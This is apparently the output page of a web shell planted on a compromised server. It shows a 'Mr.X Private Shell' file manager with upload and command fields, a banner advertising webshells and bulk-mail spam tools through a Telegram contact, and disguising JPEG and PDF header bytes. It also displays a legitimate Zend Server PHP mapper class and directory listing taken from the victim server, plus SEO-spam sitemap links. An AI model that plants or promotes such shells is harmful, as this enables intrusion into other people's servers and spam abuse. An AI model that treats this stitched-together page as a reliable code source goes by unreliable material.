xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace DevBar\Db;

use Zend\Db\Sql\Select,
    Configuration\MapperAbstract,
    DevBar\Filter\Dictionary,
    ZendServer\Edition,
    Zend\Db\Sql\Predicate\Predicate,
    ZendServer\Log\Log,
    Zend\Db\Sql\Predicate\Like,
    Configuration\MapperDirectives;

class RequestsMapper extends MapperAbstract
{
    const COLUMN_ID                 = 'id';
    const COLUMN_PAGE_ID            = 'page_id';
    const COLUMN_URL_ID             = 'url_id';
    const COLUMN_STATUS_CODE        = 'status_code';
    const COLUMN_METHOD             = 'method';
    const COLUMN_START_TIME         = 'start_time';
    const COLUMN_RUN_TIME           = 'request_time';
    const COLUMN_URL                = 'url';
    const COLUMN_REQUEST_HEADERS    = 'request_headers';

    protected $setClass = '\DevBar\RequestContainer';
    protected $systemStatus;

    /**
     * @var Edition
     */
    protected $edition;

    /**
     * @var MapperDirectives
     */
    protected $directivesMapper;

    /**
     * @param string $pageId
     * @return \DevBar\RequestContainer
     */
    public function getFirstRequests($pageId)
    {


        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);

        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        $select->where(array($table.'.'.self::COLUMN_PAGE_ID => $pageId, 'is_primary_page' => '1'));
        $select->limit(1);

        return $this->selectWith($select)->current();
    }

    /**
     * @param integer $id
     * @return \DevBar\RequestContainer
     */
    public function getRequest($id)
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);

        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        $select->where(array($table.'.'.self::COLUMN_ID => $id));

        return $this->selectWith($select)->current();
    }

    /**
     * @param string $pageId
     * @param string $lastId
     * @param integer $limit
     * @param array $columns
     * @return \ZendServer\Set
     */
    public function getRequests($pageId = '', $lastId = '', $limit = 0, $columns = array(), $startTime = 0,
                                $order = 'id', $orderDirection = 'asc', $offset = 0)
    {

        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);

        if (count($columns) > 0) {
            $select->columns($columns);
        }

        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        if (!empty($pageId)) {
            $select->where(array($table.'.'.self::COLUMN_PAGE_ID => $pageId));
        }

        // set the order
        if ($order !== null) {
            $select->order(array($order => $orderDirection));
        }

        if ($startTime) {
            $tz        = @date_default_timezone_get();
            $dt        = new \DateTime(null, new \DateTimeZone($tz));
            $tz        = $dt->getOffset();
            $startTime = $startTime + $tz;
        }

        if (!empty($lastId) && $startTime) {
            $predicate = new Predicate(null, Predicate::OP_AND);
            $predicate->greaterThan($table.'.'.self::COLUMN_ID, $lastId);
            $predicate->greaterThan($table.'.'.self::COLUMN_START_TIME, $startTime);
            $select->where($predicate);
        } else if (!empty($lastId)) {
            $predicate = new Predicate();
            $predicate->greaterThan($table.'.'.self::COLUMN_ID, $lastId);
            $select->where($predicate);
        } else if ($startTime) {
            $predicate = new Predicate();
            $predicate->greaterThan($table.'.'.self::COLUMN_START_TIME, $startTime);
            $select->where($predicate);
        }

        $offset = intval($offset);
        if ($offset > 0) {
            $select->offset($offset);
        }

        // get the default limit
        $limit = intval($limit);
        if ($limit === 0) {
            $limit = intval(\Application\Module::config('list', 'resultsPerPage'));
        }

        // set the limit
        if ($limit > 0) {
            $select->limit($limit);
        }

        return $this->selectWith($select);
    }

    /**
     * @brief return the names of the columns from `devbar_requests` and `devbar_requests_urls`
     * @return array
     */
    public function getDevbarRequestColumnNames()
    {
        $metadata                  = new \Zend\Db\Metadata\Metadata($this->getTableGateway()->getAdapter());
        $devbarRequestsColumnNames = $metadata->getColumnNames('devbar_requests');

        $metadata                     = new \Zend\Db\Metadata\Metadata($this->getTableGateway()->getAdapter());
        $devbarRequestUrlsColumnNames = $metadata->getColumnNames('devbar_requests_urls');

        return array_merge($devbarRequestsColumnNames, $devbarRequestUrlsColumnNames);
    }

    public function removeRequests($ids)
    {
        // devbar_requests
        $effected = $this->delete(array("id IN (".implode(",", $ids).")"));
        Log::debug("Deleted $effected rows from devbar_requests");
    }

    public function getRequestExtraIdsForRemove($ids)
    {
        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $select->where(array("id IN (".implode(",", $ids).")"));
        return $this->selectWith($select);
    }

    /**
     * @brief same as `getRequestsFromTimestamp` but returns a number
     * @param int $fromTimestamp 
     * @param int $limit 
     * @param int $offset 
     * @param string $order 
     * @param string $direction 
     * @param array $filters 
     * @return int
     */
    public function getRequestsCountFromTimestamp($fromTimestamp, $limit = 0, $offset = 0, $order = null,
                                                  $direction = null, $filters = array())
    {

        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        $select->columns(array(
            'total' => new \Zend\Db\Sql\Expression('count(*)'),
        ));

        $condition = new Predicate(null, Predicate::OP_AND);
        if (!isset($filters['from']) && !isset($filters['to'])) {
            // default start time for devbar requests
            $condition->greaterThan($table.'.'.self::COLUMN_START_TIME, $fromTimestamp);
        }

        if (!empty($filters)) {
            $this->getFilters($condition, $filters);
        }

        $select->where($condition);

        $result = $this->selectWith($select)->toArray();
        if ($result) {
            $result = current($result);
            if ($result && isset($result['total'])) {
                return intval($result['total']);
            }
        }

        return 0;
    }

    public function getZrayIdsByFilter($filters)
    {

        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);
        $select->columns(array('id'));
        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        $condition = new Predicate(null, Predicate::OP_AND);

        if (!empty($filters)) {
            $this->getFilters($condition, $filters);
            if ($condition->count() > 0) {
                $select->where($condition);
            }
        }

        return $this->selectWith($select)->toArray();
    }

    /**
     * Get Z-Ray requests from timestamp
     * 
     * @param mixed $fromTimestamp 
     * @param mixed $limit 
     * @param mixed $offset 
     * @param mixed $order 
     * @param mixed $direction 
     * @param mixed $filters 
     * 
     * @return Set
     */
    public function getRequestsFromTimestamp($fromTimestamp, $limit = 0, $offset = 0, $order = null, $direction = null,
                                             $filters = array())
    {

        $table  = $this->getTableGateway()->getTable();
        $select = new Select($table);

        $select->join('devbar_requests_urls', 'devbar_requests.url_id = devbar_requests_urls.id', array('url'));

        $condition = new Predicate(null, Predicate::OP_AND);

        if (!isset($filters['from']) && !isset($filters['to'])) {
            // default start time for devbar requests
            $condition->greaterThan($table.'.'.self::COLUMN_START_TIME, $fromTimestamp);
        }

        if (!empty($filters)) {
            $this->getFilters($condition, $filters);
        }

        $select->where($condition);

        if ($limit > 0) {
            $select->limit(intval($limit));
        }

        if ($offset > 0) {
            $select->offset(intval($offset));
        }

        if (!is_null($order)) {

            // validate order direction
            if (is_null($direction) || !in_array(strtolower($direction), array('asc', 'desc'))) {
                $direction = 'asc';
            }

            // add "devbar_requests" to the `order by` parameter (if it's not there)
            if (strtolower($order) != 'url' && !preg_match('%^devbar_requests%i', $order)) {
                $order = 'devbar_requests.'.$order;
            } elseif (strtolower($order) == 'url') {
                $order = 'devbar_requests_urls.'.$order;
            }
            $select->order(array($order => $direction));
        }
        
        //Log::err($select->getSqlString());

        return $this->selectWith($select);
    }

    /**
     *
     * @param array $filters
     * @return \Zend\Db\Sql\Where
     */
    protected function getFilters(Predicate &$condition, array $filters = array())
    {
        $table = $this->getTableGateway()->getTable();
        
        if (isset($filters['page_ids']) && is_array($filters['page_ids']) && !empty($filters['page_ids'])) {
            $condition->in($table.'.'.self::COLUMN_PAGE_ID, $filters['page_ids']);
        }
        if (isset($filters['from'])) {
            $condition->greaterThanOrEqualTo($table.'.'.self::COLUMN_START_TIME, ($filters['from'] * 1000)); // milliseconds
        }
        if (isset($filters['to'])) {
            $condition->lessThanOrEqualTo($table.'.'.self::COLUMN_START_TIME, ($filters['to'] * 1000)); // // milliseconds
        }
        if (isset($filters['method']) && is_array($filters['method']) && isset($filters['method'][0])) {
            $method = $filters['method'][0];
            if (in_array($method, array('GET', 'POST', 'CLI'))) {
                $condition->equalTo($table.'.'.self::COLUMN_METHOD, $method);
            }
        }
        if (isset($filters['response']) && is_array($filters['response'])) { // status code : 2xx, 4xx, 5xx...
            // just only one response status is gotten
            if (count($filters['response']) == 1 && isset($filters['response'][0])) {
                $responseDigit = substr($filters['response'][0], 0, 1); // 2xx->2, 4xx->4
                if (!$responseDigit) return;
                $condition->like(self::COLUMN_STATUS_CODE, "%{$responseDigit}%");
            } else if (count($filters['response']) > 1) { // more than 1
                $responseDigit = substr($filters['response'][0], 0, 1); // 2xx->2, 4xx->4
                if (!$responseDigit) return;
                $condition->like(self::COLUMN_STATUS_CODE, "%{$responseDigit}%");

                for ($i = 1; $i < count($filters['response']); $i++) {
                    $responseDigit = substr($filters['response'][$i], 0, 1); // 2xx->2, 4xx->4
                    if (!$responseDigit) return;
                    $condition->orPredicate(new Like(self::COLUMN_STATUS_CODE, "%$responseDigit%"));
                }
            }
        }

        // search text currenly is looking for the text in url OR in status fields
        if (isset($filters ['freeText']) && !empty($filters['freeText'])) {
            $condition->like('devbar_requests_urls.url', "%{$filters['freeText']}%");
            $condition->orPredicate(new Like(self::COLUMN_STATUS_CODE, "%{$filters['freeText']}%"));
            $condition->orPredicate(new Like(self::COLUMN_REQUEST_HEADERS, "%{$filters['freeText']}%"));
        }
    }

    /**
     * Get request id to page id array map
     * @param array|integer $requestIds
     * @return array
     */
    public function getPageIDsByRequestIds($requestIds)
    {
        if (is_numeric($requestIds)) $requestIds = array($requestIds);
        if (!count($requestIds)) return array();

        // get pageIds by requestIds
        $table = $this->getTableGateway()->getTable();

        $select    = new Select($table);
        $select->columns(array('id', 'page_id'));
        $select->where(array('id' => $requestIds));
        $resultSet = $this->selectWith($select);

        // create map reqId to pageId
        $requestIdToPageIdMap = array();
        foreach ($resultSet as $row) {
            $requestIdToPageIdMap[$row->getId()] = $row->getPageId();
        }

        return $requestIdToPageIdMap;
    }

    /**
     * Bring the last request from `devbar_requests` table
     * now used by the ZrayLive page
     * @return null | \Zend\Db\ResultSet\ResultSetInterface
     */
    public function getLastRequest()
    {
        $table          = $this->getTableGateway()->getTable();
        $select         = new Select($table);
        $select->order('start_time desc')->limit(1);
        $resultSet      = $this->selectWith($select);
        $resultSetArray = $resultSet->toArray();
        if (!empty($resultSetArray)) {
            return $resultSet->current();
        }

        return null;
    }
}

Filemanager

Name Type Size Permission Actions
AccessTokensMapper.php File 3.17 KB 0644
BacktraceMapper.php File 1.21 KB 0644
ExceptionsMapper.php File 887 B 0644
ExtensionsMapper.php File 1.53 KB 0644
ExtensionsMetadataMapper.php File 2.86 KB 0644
FunctionsMapper.php File 1.55 KB 0644
LogEntriesMapper.php File 1.21 KB 0644
MonitorEventsMapper.php File 972 B 0644
RequestsMapper.php File 13.4 KB 0644
RequestsUrlsMapper.php File 506 B 0644
RuntimeMapper.php File 1.21 KB 0644
SqlQueriesMapper.php File 1.56 KB 0644
SqlStatementsMapper.php File 601 B 0644
SuperglobalsMapper.php File 1.1 KB 0644
TokenMapper.php File 10.49 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml